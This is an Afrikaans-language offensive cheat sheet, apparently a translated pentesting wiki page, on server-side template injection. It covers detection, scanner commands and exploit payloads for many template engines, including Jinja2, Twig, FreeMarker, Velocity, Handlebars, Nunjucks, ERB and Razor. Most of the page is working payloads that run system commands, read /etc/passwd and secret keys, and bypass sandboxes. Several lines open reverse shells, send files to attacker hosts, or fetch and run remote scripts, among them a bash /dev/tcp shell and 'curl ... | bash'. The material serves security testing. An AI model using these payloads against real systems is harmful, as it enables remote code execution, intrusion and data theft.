SSTI (Server Side Template Injection)

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What is SSTI (Server-Side Template Injection)

Server-side template injection is 'n kwesbaarheid wat voorkom wanneer 'n aanvaller kwaadwillige code in 'n template kan inspuit wat op die bediener uitgevoer word. Hierdie kwesbaarheid kan in verskeie tegnologieë gevind word, insluitend Jinja.

Jinja is 'n gewilde template engine wat in webtoepassings gebruik word. Kom ons beskou 'n voorbeeld wat 'n kwesbare code snippet toon wat Jinja gebruik:

python
output = template.render(name=request.args.get('name'))

In hierdie kwesbare code word die name parameter van die gebruiker se request direk in die template deur die render funksie geplaas. Dit kan moontlik 'n attacker toelaat om malicious code in die name parameter te inject, wat kan lei tot server-side template injection.

Byvoorbeeld, 'n attacker kan 'n request saamstel met 'n payload soos hierdie:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Die payload {{bad-stuff-here}} word in die name parameter geïnjekteer. Hierdie payload kan Jinja template directives bevat wat die aanvaller in staat stel om ongemagtigde kode uit te voer of die template engine te manipuleer, wat moontlik beheer oor die server kan verkry.

Om server-side template injection kwesbaarhede te voorkom, moet ontwikkelaars seker maak dat gebruikersinvoer behoorlik gesanitiseer en gevalideer word voordat dit in templates ingesit word. Implementering van invoervalidatie en die gebruik van konteksbewuste escaping-tegnieke kan help om die risiko van hierdie kwesbaarheid te verminder.

Detection

Om Server-Side Template Injection (SSTI) te ontdek, is aanvanklik fuzzing the template 'n eenvoudige benadering. Dit behels die inspuiting van 'n reeks spesiale karakters (${{<%[%'"}}%\) in die template en die analise van die verskille in die server se reaksie op gewone data teenoor hierdie spesiale payload. Aanwysers van kwesbaarheid sluit in:

  • Foutboodskappe wat die kwesbaarheid en moontlik die template engine openbaar.
  • Afwesigheid van die payload in die refleksie, of dele daarvan wat ontbreek, wat impliseer dat die server dit anders verwerk as gewone data.
  • Plainteks-konteks: Onderskei van XSS deur te kontroleer of die server template-uitdrukkings evalueer (bv., {{7*7}}, ${7*7}).
  • Kode-konteks: Bevestig die kwesbaarheid deur insetparameters te verander. Byvoorbeeld, verander greeting in http://vulnerable-website.com/?greeting=data.username om te sien of die server se uitset dinamies of vas is, soos in greeting=data.username}}hello wat die gebruikersnaam teruggee.

Identifikasie-fase

Om die template engine te identifiseer behels die ontleding van foutboodskappe of die handmatige toets van verskeie taalspesifieke payloads. Algemene payloads wat foute veroorsaak sluit in ${7/0}, {{7/0}}, en <%= 7/0 %>. Om die server se reaksie op wiskundige bewerkings waar te neem help om die spesifieke template engine te bepaal.

Identifikasie deur payloads

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

Gereedskap

TInjA

'n doeltreffende SSTI + CSTI skandeerder wat nuwe polyglots gebruik

bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

bash
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

'n interaktiewe tabel wat die mees doeltreffende template injection polyglots bevat, saam met die verwagte antwoorde van die 44 belangrikste template engines.

Exploits

Algemeen

In hierdie wordlist vind jy veranderlikes wat gedefinieer is in die omgewings van sommige van die onderstaande engines:

Java

Java - Basic injection

java
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Haal die stelsel se omgewingsveranderlikes op

java
${T(java.lang.System).getenv()}

Java - Haal /etc/passwd op

java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Jy kan jou payloads probeer by https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

⚠️ werk slegs op Freemarker weergawes onder 2.3.30

java
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Meer inligting

Velocity (Java)

java
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Meer inligting

Thymeleaf

In Thymeleaf is 'n algemene toets vir SSTI-kwesbaarhede die uitdrukking ${7*7}, wat ook op hierdie templatemotor van toepassing is. Vir moontlike remote code execution kan uitdrukkings soos die volgende gebruik word:

  • SpringEL:
java
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
java
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf vereis dat hierdie uitdrukkings binne spesifieke attributes geplaas word. Daarteenoor word expression inlining ondersteun vir ander template-ligginge, met sintaks soos [[...]] of [(...)]. Dus kan 'n eenvoudige SSTI-toetspayload soos [[${7*7}]] lyk.

Die waarskynlikheid dat hierdie payload werk, is egter oor die algemeen laag. Thymeleaf se standaardkonfigurasie ondersteun nie dinamiese template-generering nie; templates moet vooraf gedefinieer wees. Ontwikkelaars sou hul eie TemplateResolver moet implementeer om templates uit strings op die vlug te skep, wat ongewoon is.

Thymeleaf bied ook expression preprocessing aan, waar uitdrukkings binne dubbele underscores (__...__) voorverwerk word. Hierdie funksie kan gebruik word by die konstruksie van uitdrukkings, soos gedemonstreer in Thymeleaf se dokumentasie:

java
#{selection.__${sel.code}__}

Voorbeeld van Kwetsbaarheid in Thymeleaf

Oorweeg die volgende kodefragment, wat vir uitbuiting vatbaar kan wees:

xml
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Dit dui daarop dat as die template engine hierdie inputs onbehoorlik verwerk, dit kan lei tot remote code execution wat toegang tot URL's soos die volgende verkry:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Meer inligting

EL - Expression Language

Spring Framework (Java)

java
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Filters omseil

Verskeie veranderlike-uitdrukkings kan gebruik word; as ${...} nie werk nie, probeer #{...}, *{...}, @{...} of ~{...}.

  • Lees /etc/passwd
java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Aangepaste Script vir payload generering
python
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Meer Inligting

Spring View Manipulation (Java)

java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Ouer weergawe van Pebble ( < weergawe 3.0.9):

java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Nuwe weergawe van Pebble :

java
{% raw %}
{% set cmd = 'id' %}
{% endraw %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

java
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava is 'n open source-projek wat deur Hubspot ontwikkel is, beskikbaar by https://github.com/HubSpot/jinjava/

Jinjava - Command execution

Reggestel deur https://github.com/HubSpot/jinjava/pull/230

java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Meer inligting

Hubspot - HuBL (Java)

  • {% %} opdrag-skeidingstekens
  • {{ }} uitdrukking-skeidingstekens
  • {# #} kommentaar-skeidingstekens
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - "A"
  • {{'a'.concat('b')}} - "ab"
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Soek na "com.hubspot.content.hubl.context.TemplateContextRequest" en het die Jinjava project on Github ontdek.

java
{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Meer inligting

Expression Language - EL (Java)

  • ${"aaaa"} - "aaaa"
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL) is 'n fundamentele funksie wat interaksie tussen die presentatie-laag (soos webblaaie) en die toepassingslogika (soos managed beans) in JavaEE fasiliteer. Dit word wyd gebruik oor verskeie JavaEE-tegnologieë om hierdie kommunikasie te stroomlyn. Die sleutel JavaEE-tegnologieë wat EL gebruik sluit in:

  • JavaServer Faces (JSF): Gebruik EL om komponente in JSF-bladsye te bind aan die ooreenstemmende backend-data en -aksies.
  • JavaServer Pages (JSP): EL word in JSP gebruik om toegang tot data binne JSP-bladsye te kry en dit te manipuleer, wat dit makliker maak om bladsyelemente aan die toepassingsdata te koppel.
  • Contexts and Dependency Injection for Java EE (CDI): EL integreer met CDI om naatlose interaksie tussen die weblaag en managed beans toe te laat, wat 'n meer samehangende toepassingsstruktuur verseker.

Kyk na die volgende bladsy om meer te leer oor die uitbuiting van EL-interpreters:

EL - Expression Language

Groovy (Java)

Die volgende Security Manager bypasses is geneem uit hierdie writeup.

java
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

Ander Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

Smarty (PHP)

php
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Meer inligting

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
python
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Sjabloon formaat

php
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Meer inligting

Plates (PHP)

Plates is 'n sjabloon-enjin inheems aan PHP, wat inspirasie van Twig neem. Anders as Twig, wat 'n nuwe sintaksis bekendstel, gebruik Plates inheemse PHP-kode in templates, wat dit intuïtief maak vir PHP-ontwikkelaars.

Kontroleerder:

php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Bladsjabloon:

php
<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Uitlegsjabloon:

html
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Meer inligting

PHPlib en HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB is dieselfde as PHPlib, maar na Pear geporteer.

authors.tpl

html
<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Meer inligting

Ander PHP

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

Jade (NodeJS)

javascript
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Meer inligting

patTemplate (PHP)

patTemplate nie-kompilerende PHP sjabloon-enjin wat XML-tags gebruik om 'n dokument in verskillende dele te verdeel

xml
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Meer inligting

Handlebars (NodeJS)

Path Traversal (meer inligting here).

bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Fout
  • ${7*7} = ${7*7}
  • Niks
java
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Meer inligting

JsRender (NodeJS)

SjabloonBeskrywing
Evalueer en genereer uitvoer
Evalueer en genereer HTML-geënkodeerde uitvoer
Kommentaar
andLaat kode toe (standaard gedeaktiveer)
  • = 49

Kliëntkant

python
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Serverkant

bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Meer inligting

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Voorbeeld van server-side rendering

javascript
var pugjs = require("pug")
home = pugjs.render(injected_page)

Meer inligting

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Geen uitset
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Fout
javascript
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}

Meer inligting

Ander NodeJS

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
python
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Meer inligting

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Meer inligting

Ander Ruby

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

Python

Kyk na die volgende bladsy om truuks te leer oor arbitrary command execution bypassing sandboxes in python:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
python
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

Meer inligting

Jinja2 (Python)

Official website

Jinja2 is 'n volwaardige sjabloon-enjin vir Python. Dit het volle unicode-ondersteuning, 'n opsionele geïntegreerde gesandboxte uitvoeringomgewing, is wyd gebruik en BSD-gelisensieer.

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nothing
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
python
{% raw %}
{% debug %}
{% endraw %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Sjabloonformaat

python
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}

RCE nie afhanklik van __builtins__:

python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Meer besonderhede oor hoe om Jinja te misbruik:

Jinja2 SSTI

Ander payloads in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

python
<%
import os
x=os.popen('id').read()
%>
${x}

Meer inligting

Ander Python

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Success
  • @() <= Success
  • @("{{code}}") <= Success
  • @ <=Success
  • @{} <= ERROR!
  • @{ <= ERRROR!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

Die .NET System.Diagnostics.Process.Start metode kan gebruik word om enige proses op die bediener te begin en sodoende 'n webshell te skep. Jy kan 'n kwesbare webapp-voorbeeld vind by [https://github.com/cnotin/RazorVulnerableApp]

Meer inligting

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Niks
  • <%= response.write(date()) %> = <Datum>
xml
